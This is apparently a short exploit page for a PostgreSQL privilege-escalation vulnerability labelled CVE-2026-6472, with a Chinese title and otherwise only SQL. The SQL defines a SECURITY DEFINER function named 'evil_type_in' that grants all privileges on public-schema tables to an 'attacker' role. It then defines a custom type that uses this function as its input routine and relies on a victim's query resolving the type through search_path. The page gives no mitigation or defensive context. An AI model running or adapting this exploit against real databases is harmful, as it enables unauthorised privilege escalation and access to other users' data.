CVE-2026-6472 PostgreSQL权限提升漏洞

-- Step 1: Create a malicious function that executes arbitrary SQL CREATE OR REPLACE FUNCTION public.evil_type_in(cstring) RETURNS int4 AS $$ BEGIN -- Example malicious action: Grant privileges to attacker EXECUTE 'GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO attacker'; RETURN 1; END; $$ LANGUAGE plpgsql SECURITY DEFINER; -- Step 2: Create a type that uses the malicious function -- Assuming the victim looks for a type that resolves via search_path CREATE TYPE public.hijacked_type ( INPUT = public.evil_type_in, OUTPUT = int4out, RECEIVE = int4recv, SEND = int4send, INTERNALLENGTH = 4, PASSEDBYVALUE, ALIGNMENT = int4_align, STORAGE = plain ); -- Step 3: Wait for victim to execute a query that implicitly uses this type -- e.g., a function or query that casts to 'hijacked_type' via search_path